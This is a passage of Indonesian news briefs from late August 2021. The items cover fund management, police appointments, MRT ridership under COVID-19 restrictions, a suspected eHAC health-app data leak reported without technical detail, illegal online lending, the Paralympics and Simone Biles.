gedung-gedung komersial, hunian juga area publik termasuk rest area jalan tol," imbuhnya. (mth)

Dana Kelolaan Manulife Aset Semester I-2021 Capai Rp 104,7 Triliun

Jakarta, FNN - Perusahaan manajer investasi PT Manulife Aset Manajemen Indonesia (MAMI) telah menghimpun dana kelolaan atau Asset Under Management (AUM) sebesar Rp104,7 triliun hingga semester I-2021, atau tumbuh 52 persen dibandingkan periode yang sama tahun sebelumnya. "Di tengah hantaman krisis kesehatan dan ekonomi global di tahun 2020, total AUM MAMI mencatatkan pertumbuhan yang kuat, sebesar 30 persen hingga mencapai Rp97,2 triliun pada akhir 2020. Sementara pada semester I-2021, total AUM MAMI tercatat tumbuh sebesar 8 persen menjadi Rp104,7 triliun pada akhir Juni 2021," kata Presiden Direktur MAMI dalam keterangan di Jakarta, Selasa. Afifa menyampaikan, hingga akhir Juni 2021, MAMI dipercaya oleh lebih dari 1,1 juta investor Indonesia untuk mengelola dana sebesar total Rp 104,7 triliun tersebut dalam 28 produk reksa dana dan 40 mandat investasi. Mengutip data OJK per akhir Juni 2021, MAMI menempati peringkat pertama diantara perusahaan manajer investasi di Indonesia dalam hal AUM reksa dana yaitu sebesar Rp56,6 triliun. Secara persentase, AUM reksa dana MAMI mengalami pertumbuhan sebesar 93 persen dalam periode setahun (30 Juni 2020-30 Juni 2021), jauh melampaui pertumbuhan industri yang sebesar 11 persen pada periode yang sama. Data OJK juga menunjukkan bahwa MAMI berada di peringkat teratas pada kategori AUM reksa dana pendapatan tetap sebesar Rp 23,6 triliun dan AUM reksa dana syariah Rp8,2 triliun. MAMI yang telah berkiprah 25 tahun di industri reksa dana juga menjadi pelopor yang telah menancapkan beberapa tonggak sejarah di industri reksa dana Indonesia. Afifa mengatakan, perseroan konsisten melakukan berbagai inovasi untuk memberikan solusi investasi terbaik dan layanan berkualitas. Pada April 2016, MAMI menjadi pelopor dalam penerapan pembukaan rekening dan transaksi reksa dana secara sepenuhnya daring (fully online) yang pertama di Indonesia melalui peluncuran klikMAMI.com. Dengan hadirnya inovasi tersebut, pembukaan rekening dan transaksi investasi reksa dana dapat dilakukan dari mana saja dan kapan saja tanpa perlu mengunjungi kantor manajer investasi ataupun Agen Penjual Efek Reksa Dana (APERD) untuk penandatanganan formulir. Pada 2019, MAMI juga memelopori penerapan multi share class pada produk reksa dana di Indonesia. Lebih lanjut, Afifa mengatakan bahwa edukasi finansial dan kemudahan akses bagi masyarakat investor ke produk reksa dana merupakan dua hal utama untuk memajukan industri reksa dana. Maka, pada 2001 MAMI menjalin kerja sama pemasaran reksa dana dengan salah satu satu institusi perbankan. Hingga saat ini MAMI telah bekerja sama dengan 32 mitra distribusi yang terdiri dari 20 bank dan 12 non-bank. MAMI juga melakukan kegiatan pemasaran melalui jalur digital, direct retail, dan tim Institutional Sales. "Edukasi adalah kunci untuk meningkatkan literasi dan pemahaman masyarakat tentang reksa dana. Oleh karena itu di tahun 2013 MAMI meluncurkan modul edukasi 3i yaitu insyaf, irit, invest, yang berisi tiga langkah dasar untuk bisa memulai investasi. Kegiatan edukasi pun dilakukan untuk beragam lapisan masyarakat di berbagai wilayah Indonesia. MAMI secara rutin menyediakan publikasi reguler dan memberikan market update melalui investor gathering," ujar Afifa. (mth)

Rudi "Gajah" Polisi yang Ditembak di Poso Kembali Pimpin Polda Sulteng

Palu, FNN - Tongkat komado pimpinan Kepolisian Daerah Sulawesi Tengah berganti, dan kini dijabat oleh Inspektur Jenderal Polisi Rudi Safahriadi, yang kembali ditunjuk untuk memimpin Polda Sulawesi Tengah, menggantikan seniornya, Inspektur Jenderal Polisi Abdul Rakhman Baso, yang per tanggal 1 September purna tugas. Hal itu terjadi setelah upacara serah-terima jabatan yang dipimpin Kepala Kepolisian Indonesia, Jenderal Polisi Listyo S Prabowo, di Rupatama Markas Besar Kepolisian Indonesia, di Jakarta, Selasa (31/8/2021). Penunjukan Sufahriadi sebagai kepala Polda Sulawesi Tengah, tertuang dalam Surat Telegram Kapolri nomor : ST/1701/VIII/KEP/2021 tanggal 25 Agustus 2021. Nama dia di lingkungan Polda Sulawesi Tengah tidaklah asing. Pria kelahiran Cimahi, Jawab Barat, pada1965, itu pernah menjadi kepala Polda Sulawesi Tengah pada 2016-2018, dengan pangkat brigadir jenderal polisi. Saat itu ada Polda yang dipimpin seorang inspektur jenderal polisi dan juga brigadir jenderal polisi. Waktu ia memimpin Polda Sulawesi Tengah itu, dua pentolan teroris Poso, Santoso dan Daeng Koro, tewas saat kontak tembak dengan Satuan Tugas gabungan TNI/Polri yang saat itu masih bersandi Operasi Tinombala. Pria disapa Rudi "Gajah" itu pernah mejabat sebagai kepala Polres Poso pada 2005-2007. Pada awal menjadi kepala Polres Poso itu, ia pernah ditembak orang tak dikenal dan beruntung dia bisa menghindari tembakan tersebut. “Jabatan kepala Polda Sulawesi Tengah hari ini resmi dijabat Inspektur Jenderal Polisi Drs Rudi Sufahriadi,” ungkap Kabid Humas Polda Sulawesi Tengah, Komisaris Besar Polisi Didik Supranoto, Selasa (31/08). Setelah dilantik menjadi kepala Polda Sulawesi Tengah untuk kedua kalinya ini, pada Rabu (1/9) dia bertolak ke Palu untuk segera bertugas. Pelaksanaan tradisi, laporan kesatuan, upacara serah terima pataka Polda Sulawesi Tengah dan tradisi pelepasan Baso akan dikemas secara sederhana, dengan penerapan protokol kesehatan ketat dan hanya dihadiri terbatas kalangan internal Polda Sulawesi Tengah karena virus Korona masih banyak terjadi. "Selamat memasuki purna tugas sebagai anggota Polri, kami seluruh personil Polda Sulteng akan melanjutkan tauladan yang jenderal tunjukan selama di Sulawesi Tengah," Supranoto. (mth)

Jumlah Penumpang MRT Naik 142 Persen Selama PPKM Level 3

Jakarta, FNN - Jumlah penumpang PT MRT Jakarta (Perseroda) mengalami kenaikan 142 persen selama penyesuaian aturan dalam Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) PKM Level 3 pada 12-29 Agustus 2021. Direktur Utama PT MRT Jakarta (Perseroda) William Sabandar menjelaskan bahwa selama PPKM Level 3 pada 12-29 Agustus 2021, total penumpang MRT mencapai 127.103 orang atau meningkat 142 persen dibandingkan selama PPKM Level 4 pada 27 Juli-11 Agustus 2021, yakni 52.497 penumpang. "Pemberlakuan PPKM Level 3 yang dimulai pertengahan Agustus, membuat 'ridership' MRT Jakarta menjadi lebih naik lagi dan meningkat lagi," kata William dalam konferensi pers secara virtual, di Jakarta, Selasa. Berdasarkan catatan keterangkutan penumpang (ridership), rata-rata jumlah harian penumpang selama PPKM Level 3 meningkat menjadi 7.061 orang, dibandingkan PPKM Level 4 yang hanya 3.281 orang. Jumlah penumpang tertinggi selama PPKM Level 3 menyentuh 10.988 orang dengan tren penumpang yang terus meningkat setiap pekannya. Sementara pada PPKM Level 4, jumlah penumpang harian tertinggi hanya mencapai 4.827 orang. Pada aturan terbaru PPKM Level 3, MRT pun mewajibkan bukti vaksin sebagai syarat perjalanan bagi penumpang. Bukti vaksin dapat ditunjukkan dalam bentuk cetak, maupun digital yang dikeluarkan melalui aplikasi PeduliLindungi atau Jakarta Kini (JaKi). "Sesuai dengan SK Dinas Perhubungan, kami minta untuk bukti vaksin ditunjukkan, baik dalam bentuk cetak maupun digital sebagai upaya kami mendukung kebijakan Level 3 PPKM," kata William. (mth)

Muhaimin: Saya Akan Terus Berjuang bagi Kesejahteraan Papua

Jakarta, FNN - Wakil Ketua DPR, Abdul Muhaimin Iskandar, menyatakan, akan terus berjuang bagi kesejahteraan masyarakat Papua, katanya saat melakukan safari Politik Kesejahteraan bersama Masyarakat Papua secara virtual. "Secara bersama-sama, seluruh aspirasi yang disampaikan akan kami perjuangkan di DPR. Saya akan terus berjuang bagi kesejahteraan Papua. Hati saya selalu bersama-sama masyarakat Papua," kata dia, dalam keterangan yang diterima Selasa. Ia mengatakan terdapat dua hal mendasar untuk membangun Papua pada masa depan. Pertama, pembangunan harus berpijak dan berlandaskan pada pendekatan kebudayaan dengan nilai, tradisi, etika, norma, budaya, hukum adat serta aturan khusus yang dimiliki masyarakat Papua, katanya. "Jalan kebudayaan akan mampu membangun kohesivitas dan solidaritas sosial, menjadikan masyarakat asli Papua merasa memiliki dan tidak terasing di tanah kelahiranya," kata dia. Kedua, lanjutnya, masa depan Papua hanya bisa diwujudkan dengan transformasi pembangunan dari yang bersifat eksklusif menjadi inklusif. Pendekatan ekslusif di masa lalu, menurut dia, telah menciptakan pertumbuhan yang buruk dan mengarah pada pengucilan atau ekslusi sosial masyarakat Papua sendiri. "Pembangunan inklusif di Papua adalah sebuah model pembangunan yang dalam pelaksanaannya harus melakukan dua hal sekaligus, yakni pelaksanaan demokrasi langsung dan distribusi infrastruktur sosial," katanya. Dalam acara tersebut, Wakil Bupati Jayapura, Giri Wijayantoro, mengatakan, kendala infrastruktur, pendidikan, kesehatan dan pertanian di daerahnya. "Pendidikan, kesehatan dan pertanian masih sangat terkendala. Pembangunan infrastruktur jalan dari ibu kota kabupaten ke ibu kota kecamatan belum terakses. Dari distrik ke kampung-kampung juga belum terakses," katanya. Selain itu, dia mengatakan banyak anak-anak warga Jayapura terpaksa harus sekolah di kota yang jauh karena tidak adanya fasilitas pendidikan di kampung-kampung. "Banyak anak disekolahkan di kota karena tidak ada layanan pembangunan pendidikan di kampung," ujarnya. (mth)

Akademisi Unsoed Harapkan Adanya Perubahan di DPR RI

Purwokerto, FNN - Dosen Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Universitas Jenderal Soedirman (Unsoed) Purwokerto Ahmad Sabiq mengharapkan adanya perubahan dan pembenahan di DPR yang baru merayakan HUT Ke-76 pada tanggal 29 Agustus 2021. "Saya sebenarnya sudah sangat kecewa dan tidak bisa banyak berharap ke DPR, karena sampai saat ini tidak ada perubahan, bahkan menjadi-jadi. Yang terjadi sekarang DPR kembali menjadi layaknya stempel, peran kritisnya tak lagi kuat terlihat," katanya di Purwokerto, Kabupaten Banyumas, Jawa Tengah, Selasa. Ia mengatakan penentuan hari ulang tahun tersebut diambil dari tanggal dibentuknya Komite Nasional Indonesia Pusat (KNIP) pada 29 Agustus 1945. Menurut dia, lembaga ini dinilai sebagai cikal bakal lembaga legislatif di Indonesia sehingga kelahirannya ditetapkan sebagai hari jadi DPR. Akan tetapi hingga sekarang, kata dia, anggota DPR belum bisa meneladani sosok-sosok pendahulu mereka di KNIP yang mampu bekerja keras di tengah situasi perjuangan melawan penjajah dan ikhlas menunjukkan karya nyata meski dengan fasilitas yang sangat terbatas. "Kalau kita melihat tayangan televisi, sering kali terlihat ada anggota DPR yang asyik bermain telepon seluler, bahkan ada yang tidur saat menghadiri sidang. Kondisi tersebut bertolak belakang dengan pendahulunya yang tetap berkarya dengan ikhlas," ujarnya. Sementara dalam hal membahas dan menetapkan anggaran, kata dia, anggota dewan terkesan lebih mementingkan aspirasinya sendiri seperti usulan tentang dana aspirasi dan rumah aspirasi. "Secara umum memang terdapat persoalan dalam hal representasi. Ada jarak yang cukup lebar antara Sang Wakil dengan Sang Terwakil," tutur dosen pengampu mata kuliah Teori Partai Politik dan Sistem Pemilu itu. Ia mengatakan relasi politik yang terbangun anggota dewan dan rakyat selama ini hanya nampak saat menjelang pemilu. Menurut dia, sangat jarang ditemukan wakil rakyat yang secara serius membangun pola relasi yang erat dengan terus menyerap aspirasi konstituen yang diwakilinya di luar konteks kampanye dan pemilu. Akan tetapi pascapemilu, para wakil kebanyakan tidak bersungguh-sungguh memperjuangkan aspirasi Sang Terwakil. "Di antara yang sungguh-sungguh pun banyak pula yang terpaksa menjalankan 'formula representasi 2-1-2' akibat politik biaya tinggi untuk dapat meraih kursi. Maksudnya, dari masa jabatan yang lima tahun, dua tahun pertama terpaksa dicurahkan untuk pengembalian modal, satu tahun selanjutnya digunakan untuk memperjuangkan kepentingan masyarakat, sementara dua tahun selebihnya dimanfaatkan untuk mempersiapkan pertarungan perebutan kursi pada pemilu berikutnya," ujat Sabiq. Dengan demikian, praktis jika dikalkulasi hanya satu tahun waktu efektif yang mereka abdikan untuk menjadi penyalur aspirasi dan pembela rakyat. Ia mengaku fenomena keterputusan representasi tersebut sering kali muncul dalam berbagai diskusi dengan aktivis organisasi-organisasi rakyat. "Mereka (aktivis, red.) merasa diperlakukan hanya seperti pendorong mobil mogok. Saat mobil sudah bisa berjalan, pendorong lalu ditinggal begitu saja. Padahal banyak yang telah berusaha membangun kontrak politik namun dalam kenyataannya, kontrak politik tersebut tidak efektif, mudah sekali dikhianati oleh Sang Wakil," ucapnya. Terkait dengan hal itu, Sabiq mengharapkan di usianya yang telah genap 76 tahun, DPR dapat melakukan berbagai perubahan dan pembenahan sehingga dapat benar-benar mewujudkan aspirasi kontituennya di luar konteks kampanye dan pemilu. (mth)

Polri Bantu Selidiki Dugaan Kebocoran Data Pengguna Aplikasi eHAC

Jakarta, FNN - Bareskrim Polri turut serta membantu menyelidiki dugaan kebocoran data diri pengguna pada aplikasi Electronic Health Alert Card (eHAC), yakni kartu kewaspadaan kesehatan versi modern yang dikembangkan oleh Kementerian Kesehatan. "Polisi bantu lidik," kata Kepala Divisi Humas Polri Irjen Pol Argo Yuwono, saat dikonfirmasi di Jakarta, Selasa. Menurut Argo, Polri memiliki Direktorat Tindak Pidana Siber yang dapat melakukan penyelidikan terkait kebocoran data. Namun ia tidak merinci proses penyelidikan yang telah berjalan seperti apa. "Secara teknis biarkan penyidik siber bekerja," tutur Argo. Sebelumnya, VPN Mentor, situs yang fokus pada Virtual Private Network (VPN), melaporkan adanya dugaan kebocoran 1,3 juta data pada eHAC. Data- data yang bocor tidak hanya sekadar data yang ada di KTP, tapi juga sampai menyentuh data hasil tes COVID-19, paspor, data rumah sakit dan klinik yang telah melakukan pengetesan pada pengguna, hingga data pembuatan akun eHAC. Dugaan kebocoran data tersebut terjadi karena pembuat aplikasi menggunakan database Elasticsearch yang tidak memiliki tingkat keamanan yang rumit sehingga mudah dan rawan diretas. Badan Siber dan Sandi Negara (BSSN) telah menonaktifkan database tersebut terhitung sejak 24 Agustus 2021, maka dari itu laporan ini baru diterbitkan seminggu setelah database tersebut seharusnya tidak lagi dapat akses. Kementerian Kesehatan pun menyebutkan data yang diduga mengalami kebocoran itu merupakan aplikasi eHAC yang lama yang tidak lagi digunakan sejak Juli 2021. Demi kenyamanan dan keamanan lebih optimal, para pengguna aplikasi eHAC versi lama dan belum terhubung dengan aplikasi pedulilindungi.id diminta untuk menghapus akun dan aplikasi tersebut dari gawai. (mth)

Kominfo Investigasi Dugaan Kebocoran Data Aplikasi eHAC

Jakarta, FNN - Kementerian Komunikasi dan Informatika (Kominfo) masih menginvestigasi dugaan kebocoran data pada aplikasi Kartu Kewaspadaan Kesehatan (Electronic Health Alert Card/eHAC). eHAC merupakan aplikasi milik Kementerian Kesehatan yang berguna sebagai kartu verifikasi, kontrol kewaspadaan dan syarat yang perlu dipenuhi pelaku perjalanan di tengah pandemi COVID-19. "Sedang kami lakukan investigasi," kata Juru Bicara Kementerian Komunikasi dan Informatika Dedy Permadi saat dihubungi, Selasa. Langkah ini sejalan seperti yang dipaparkan oleh Kepala Pusat Data dan Informasi Kementerian Kesehatan RI Anas Ma'ruf dalam konferensi pers terbarunya yang dilakukan untuk menanggapi dugaan kebocoran data dari sistem milik mereka itu. Kementerian Kesehatan mengklaim akan melakukan audit forensik untuk memastikan dugaan kebocoran data seperti yang dipaparkan oleh VPN Mentor dalam penelitian berjudul "Indonesian COVID-19 Apps Leaks Private Data From Over 1 million People". "Kita lakukan upaya investigasi dan penelusuran serta audit forensik, bekerja sama dengan lembaga terkait," kata Anas menjelaskan langkah lanjutan terkait dugaan kebocoran data tersebut. Sebelumnya, VPN Mentor, situs yang fokus pada Virtual Private Network (VPN), melaporkan adanya dugaan kebocoran 1,3 juta data pada eHAC. Data- data yang bocor tidak hanya sekadar data yang ada di KTP, tapi juga sampai menyentuh data hasil tes COVID-19, paspor, data rumah sakit dan klinik yang telah melakukan pengetesan pada pengguna, hingga data pembuatan akun eHAC. Dugaan kebocoran data tersebut terjadi karena pembuat aplikasi menggunakan database Elasticsearch yang tidak memiliki tingkat keamanan yang rumit sehingga mudah dan rawan diretas. Badan Siber dan Sandi Negara (BSSN) telah menonaktifkan database tersebut terhitung sejak 24 Agustus 2021, maka dari itu laporan ini baru diterbitkan seminggu setelah database tersebut seharusnya tidak lagi dapat akses. Kementerian Kesehatan pun menyebutkan data yang diduga mengalami kebocoran itu merupakan aplikasi eHAC yang lama yang tidak lagi digunakan sejak Juli 2021. Demi kenyamanan dan keamanan lebih optimal, para pengguna aplikasi eHAC versi lama dan belum terhubung dengan aplikasi pedulilindungi.id diminta untuk menghapus akun dan aplikasi tersebut dari gawai. (mth)

BKN Siap Laksanakan Tes SKD pada 2 September 2021

Jakarta, FNN - Kepala Biro Humas, Hukum, dan Kerja Sama Badan Kepegawaian Negara (BKN) Satya Pratama menyatakan bahwa BKN siap melaksanakan tes Seleksi Kompetensi Dasar (SKD) yang diselenggarakan pada tanggal 2 September 2021. "Sedang berjalan persiapan infrastruktur di BKN dan kami yakin siap melaksanakan tes pada tanggal 2 September 2021," kata Satya ketika dihubungi oleh ANTARA dari Jakarta, Selasa. Pelaksanaan tes Seleksi Kompetensi Dasar untuk para pelamar Calon Aparatur Sipil Negara (CASN) akan dimulai secara serentak di seluruh Indonesia pada tanggal 2 September 2021. Tes ini akan dilaksanakan secara langsung (tatap muka) dan mengimplementasikan protokol kesehatan yang ketat. Saat ini, BKN pusat dan seluruh unit di bawah BKN sedang melakukan persiapan infrastruktur guna memaksimalkan fasilitas ujian bagi peserta. Satya mengatakan tidak ada kendala yang berarti selama masa persiapan tes SKD. "Semua sudah dikoordinasikan dan dibicarakan bersama pihak-pihak terkait, khususnya Satgas COVID-19 baik pusat maupun daerah," ucap Satya. Ia menekankan pentingnya koordinasi antara panitia seleksi ASN (Pansel) dengan Satgas COVID-19 setempat agar bisa mengakomodasi peserta dengan memperhatikan protokol kesehatan. Hal ini juga terkait dengan aplikasi PeduliLindungi. Hingga saat ini, para pelamar tidak diwajibkan untuk mengunduh aplikasi tersebut, namun sebaiknya memerhatikan ketentuan dari instansi atau Satgas COVID-19 setempat. Satya kembali mengingatkan peserta untuk mengisi formulir Deklarasi Sehat yang terdapat di portal sscasn.bkn.go.ig dalam kurun waktu 14 hari sebelum mengikuti ujian seleksi dan paling lambat pada "H-1" sebelum ujian. Formulir tersebut harus dibawa dan ditunjukkan kepada petugas sebelum dilakukan pemberian PIN registrasi. Terkait dengan wajib vaksin di wilayah Jawa, Madura, dan Bali, Pansel instansi akan berkoordinasi dengan Satgas COVID-19 setempat tentang ketersediaan vaksin dan memobilisasi percepatan vaksinasi. Tetapi, jika ketersediaan vaksin pada "H-3" belum mencukupi, maka Pansel instansi dapat memutuskan bahwa peserta tidak wajib divaksin. "Peserta diharapkan memantau pengumuman instansi yang dilamar," kata Satya. Guna memantau pengumuman instansi yang dilamar, pada peserta seleksi atau pelamar CASN 2021 dapat mengunjungi laman data-sscasn.bkn.go.id/info. (sws)

Polda NTT Akan Tindak Tegas Pelaku Pemberi Pinjaman Daring Ilegal

Kupang, FNN - Kepala Kepolisian Daerah Nusa Tenggara Timur (NTT) Irjen Pol Lotharia Latif telah menegaskan akan menindak tegas para pelaku pemberi pinjaman daring ilegal di NTT, kata Direktur Reserse Kriminal Khusus Polda NTT, Kombes Pol Johannes Bangun. "Bagi masyarakat yang terjebak pinjaman online ilegal bisa melapor di Polda NTT dan polres jajaran NTT. Kapolda sudah memerintahkan kami untuk menindak tegas pelaku pinjaman online yang merugikan masyarakat," kata Dirreskrimsus Johannes kepada wartawan di Kupang, Selasa. Mantan Kapolres Kupang Kota itu mengatakan agar masyarakat tidak termakan tipuan pinjaman daring, ada beberapa diri-ciri dari pinjaman daring ilegal itu. Beberapa cici-cirinya adalah tidak memiliki badan hukum, bentuk koperasi atau Perseroan Terbatas. "Pinjaman online ilegal ini tidak memiliki badan hukum. Pada saat proses/negosiasi pinjaman diminta akses kontak nomor handphone, media dan galeri. Mereka juga melakukan pemotongan biaya admin kepada peminjam dengan besaran tidak wajar saat pencairan dilakukan," jelasnya. Ciri lainnya memberikan penawaran kepada calon nasabah dengan persyaratan yang mudah tanpa perlu bertemu secara langsung. Kemudian memaksa para nasabah untuk mengikuti kebijakan dan ketentuan dalam aplikasi pinjaman daring, yakni dengan mengizinkan data kontak telepon pribadi nasabah bisa dibuka oleh pemberi pinjaman. Kemudian juga pada pinjaman daring ilegal itu, saat dilakukan penagihan pembayaran dan mengubah jangka waktu pinjaman tidak sesuai perjanjian. Apabila terlambat membayar cicilan atau melunasi pinjaman, pemberi pinjaman tidak saja melakukan penagihan kepada penerima pinjaman tetapi melakukan penagihan kepada kontak handphone yang telah diakses oleh pemberi pinjaman. 'Penagihan juga dilakukan dengan melakukan ancaman/intimidasi disertai menerbitkan gambar daftar pencarian orang yang memuat wajah peminjam," ujar dia. "Penagihan tidak dilakukan dengan tata cara penagihan sesuai dengan ketentuan OJK Nomor 77 POJK 01 2016 tentang Penyelenggara Jasa Layanan Pinjam Berbasis Teknologi," tambahnya. Ada juga kasus di mana nasabah sudah membayar pinjamannya namun data pinjaman tidak dihapus. Dengan alasan tidak masuk dalam sistem. Berdasarkan data dari Otoritas Jasa Keuangan (OJK) NTT sejak tahun 2018 hingga Juli 2021, Satgas waspada investasi OJK sudah menutup 3.365 pinjaman daring ilegal. (sws)

Leani Ratri Siap Tampil Maksimal di Tiga Nomor Para Dadminton

Jakarta, FNN - Atlet para badminton Indonesia Leani Ratri Oktila mengutarakan kesiapannya untuk berlaga pada tiga nomor sekaligus dalam debutnya di gelaran Paralimpiade Tokyo yang mulai berlangsung Rabu (1/9). Pada kompetisi para badminton perdana di Paralimpiade itu, Ratri akan turun pada nomor tunggal putri SL4, ganda putri SL3-SU5 berpasangan Khalimatus Sadiyah, dan ganda campuran SL3-SU5 berpasangan dengan Hary Susanto. Sejak berada di Jepang sejak 19 Agustus lalu bersama tim para badminton Indonesia, Ratri sudah menjalani pemusatan latihan selama satu minggu di Machida sebelum berkumpul dengan atlet Komite Paralimpiade Nasional (NPC) Indonesia lainnya di wisma atlet Paralimpiade Tokyo pada 26 Agustus. "Latihan hari ini hanya 'stroke' ringan. Kami juga diberi program untuk menjalani pertandingan antar sesama pemain," kata Ratri, seperti dilansir dalam keterangan resmi NPC Indonesia, Selasa. Atlet asal Riau itu menceritakan, sejak berada di Tokyo tim para badminton tetap melanjutkan menu latihan, namun dengan porsi yang tidak terlalu berat. Selama dua minggu di Jepang, Ratri mulai terbiasa dengan kondisi cuaca di Tokyo. Namun, atlet berusia 30 tahun itu kini dihadapkan dengan tantangan lain. "Untuk cuaca dan udara di sini tidak berbeda jauh dengan Indonesia, jadi tidak ada masalah. Tetapi selama di sini muncul tantangan baru. Berhubung di sini makanannya enak-enak, saya harus mengendalikan nafsu makan supaya tidak terlalu berlebihan," kata Ratri. Undian pembagian grup para badminton telah dilakukan, namun Ratri mengaku masih buta akan kekuatan lawan yang akan dihadapi nanti. "Karena selama pandemi ini tidak ada turnamen yang digelar, jadinya tidak begitu tahu kekuatan lawan. Tapi saya pasti akan berjuang semaksimal mungkin," kata Ratri. Pada pertandingan Rabu nanti, Ratri/Hary akan tampil di penyisihan Grup A ganda campuran SL3-SU5. Mereka akan berhadapan dengan wakil tuan rumah Daisuke Fujihara/Akiko Sugino. Selanjutnya pada Kamis (2/9), Ratri akan memainkan dua pertandingan sekaligus. Pada ganda putri SL3-SU5, Ratri/Khalimatus menghadapi wakil Thailand, Nipada Saensupa/Chanida Srinavakul, di penyisihan Grup B. Namun sayangnya pada sektor tunggal putri SL4, Ratri harus melawan rekan mainnya di ganda putri yaitu Khalimatus, di penyisihan Grup A. (sws)

Pemkab Gunung Kidul Perpanjang Penutupan Sementara Objek Wisata

Gunung Kidul, FNN - Pemerintah Kabupaten (Pemkab) Gunung Kidul, Daerah Istimewa Yogyakarta (DIY), memperpanjang penutupan sementara seluruh objek wisata di wilayah ini hingga 6 September untuk mengantisipasi meningkatkanya lagi kasus COVID-19. Sekretaris Dinas Pariwisata Gunung Kidul Harry Sukmono di Gunung Kidul, Selasa, mengatakan perpanjangan penutupan sementara objek wisata ini sebagai tindak lanjut dari Instruksi Menteri Dalam Negeri Nomor 38 tahun 2021, Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level IV di DIY diperpanjang hingga 6 September. "Kami berharap masyarakat memahami ini, dan mohon pengertiannya supaya tidak berkunjung sementara ke objek wisata di Gunung Kidul sampai ada izin dari pusat," kata Harry. Terkait tingginya minat wisatawan berlibur ke Gunung Kidul pada Sabtu dan Minggu meski ada informasi penutupan sementara, Harry menegaskan pihaknya sudah menginstruksikan kepada petugas di lapangan untuk menghalau wisatawan. Dispar bersama petugas dari TNI-Polri, Satpol PP, hingga SAR Satlinmas terus berusaha menghalau pengunjung. "Ke depan, kami juga mengantisipasi kedatangan wisatawan semakin banyak karena di Jawa Tengah levelnya sudah mulai turun, dan pelonggaran sudah dilakukan. Sebagian Jawa Tengah levelnya sudah turun, ini peringatan bagi kita untuk mengantisipasi kedatangan wisatawan," katanya. Salah Pengelola Persewaan alat Snorkeling Pantai Nglambor, Tepus, Adhitya Putratama mengatakan rata-rata jumlah wisatawan yang berkunjung setiap minggu selama pandemi ada 50-an orang menyewa alat snorkeling. Saat ini pihaknya terpaksa menutup persewaan dan tidak bisa mempekerjakan beberapa pihak. Ia berharap adanya kepastian sampai kapan perpanjangan penutupan kawasan wisata. "Kami berharap dari pemerintah untuk memastikan sampai kapan adanya penutupan kawasan wisata. Kami juga memahami kondisi saat ini dan kami berusaha melaksanakan aturan yang ada. Namun kami berharap ada kepastian kapan sektor pariwisata dibuka kembali," katanya. (sws)

Simone Biles Mengaku Alami Masalah Kesehatan Mental Sebelum Olimpiade

Jakarta, FNN - Simone Biles mengatakan bahwa masalah kesehatan mental yang membuat dia menarik diri dari beberapa nomor pertandingan di Olimpiade telah dimulai bahkan sebelum dia tiba di Jepang. Superstar senam AS itu membuat sensasi di Olimpiade bulan lalu setelah menarik diri dari final beregu sebelum kemudian mundur dari kompetisi all-around perorangan. Biles (24), yang dianggap oleh banyak orang sebagai pesenam terhebat sepanjang masa dan yang diperkirakan akan memenangi banyak medali emas di Jepang, mengatakan dia mengundurkan diri untuk memprioritaskan kesehatan mentalnya. Dalam percakapan video dengan ibunya yang dirilis oleh sponsor Athleta, Biles mengatakan masalah yang dialami menumpuk dari waktu ke waktu. "Saya bahkan tidak akan mengatakan itu dimulai di Tokyo. Saya merasa itu mungkin sedikit lebih dalam dari itu," kata Biles, dikutip dari AFP, Selasa. "Saya pikir itu hanya karena stres. Itu terbentuk dari waktu ke waktu, dan tubuh serta pikiran saya mengatakan tidak. Bahkan saya tidak tahu bahwa saya sedang mengalaminya sampai itu terjadi begitu saja." Penampilan Biles di Tokyo terganggu karena serangan "twisties" -- fenomena yang berpotensi menimbulkan bahaya yang menyebabkan pesenam kehilangan arah ketika di udara. Biles akhirnya kembali ke arena Olimpiade untuk bertanding di final balok keseimbangan, di mana dia meraih perunggu. Biles mengatakan meskipun dia kecewa karena tidak dapat menampilkan gaya melawan gravitasi khas dirinya di panggung, dia tidak menyesal telah mengutamakan kesehatan dan keselamatannya. "Itu menyebalkan. Seperti, berlatih lima tahun, tapi tidak berjalan seperti yang Anda inginkan," kata Biles dalam video itu. "Tapi saya tahu bahwa saya membantu banyak orang dan atlet berbicara tentang kesehatan mental dan mengatakan tidak. Karena saya tahu saya tidak bisa pergi ke sana dan bertanding. Saya tahu saya akan terluka." Biles menambahkan bahwa dia terkejut dengan reaksi dukungan secara luas terhadap pengunduran dirinya dari pertandingan di Tokyo. "Saya jelas mengira akan banyak reaksi negatif dan rasa malu. Tapi itu kebalikannya. Itu pertama kalinya saya merasa menjadi manusia. Selain Simone Biles, saya adalah Simone, dan orang-orang menghormati itu." Kini, Biles berharap kasusnya itu akan mendorong orang lain untuk meminta bantuan jika mereka khawatir dengan kesehatan mental mereka. "Saya tahu itu tidak mudah, tetapi itu sangat membantu," kata Biles. "Dan, saya tahu seringkali Anda mungkin merasa bodoh. Tapi, seperti yang telah saya pelajari selama bertahun-tahun, tidak apa-apa untuk meminta bantuan."(sws)

Menpan RB Sebut Data Jadi Dasar Pengambilan Keputusan Tepat

Jakarta, FNN - Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Menpan RB) Tjahjo Kumolo mengatakan data menjadi dasar bagi pemerintah untuk mengambil keputusan tepat dan menghasilkan kebijakan publik berkualitas. Hal itu disampaikan Tjahjo di acara Penandatanganan Nota Kesepahaman antara Menpan RB dengan Kepala Badan Pusat Statistik (BPS) Margo Yuwono secara virtual, Selasa. "Kehadiran data dan informasi dapat memengaruhi Pemerintah untuk mengambil keputusan yang tepat dan menghasilkan kebijakan publik yang berkualitas, tepat sasaran dan menjawab permasalahan di tengah masyarakat," kata Tjahjo di Jakarta. Sebuah institusi, baik kementerian maupun lembaga pemerintah non-kementerian (K/L), tidak akan dapat bertahan tanpa mengacu pada data dalam mengambil keputusan (data driven decision making). "Kebijakan yang berkualitas dipengaruhi oleh data yang berkualitas pula, sehingga ketersediaan data ini menjadi hal yang penting," tukasnya. Oleh karena itu, seluruh K/L dan pemerintah daerah (pemda) penting untuk melakukan analisa pada data sebelum mengambil sebuah keputusan, tutur Tjahjo. "Kebijakan yang menghasilkan hasil yang baik harus diperluas. Kebijakan yang tidak harus dipikirkan kembali dan mengalokasikan ulang sumber daya yang ada," ujarnya. Penandatanganan Nota Kesepahaman yang dilakukan dengan menggunakan digital signature tersebut bertujuan untuk memperpanjang kerja sama antara Kemenpan RB dan BPS. Kerja sama antara Kemenpan RB dan BPS tersebut sudah terjalin 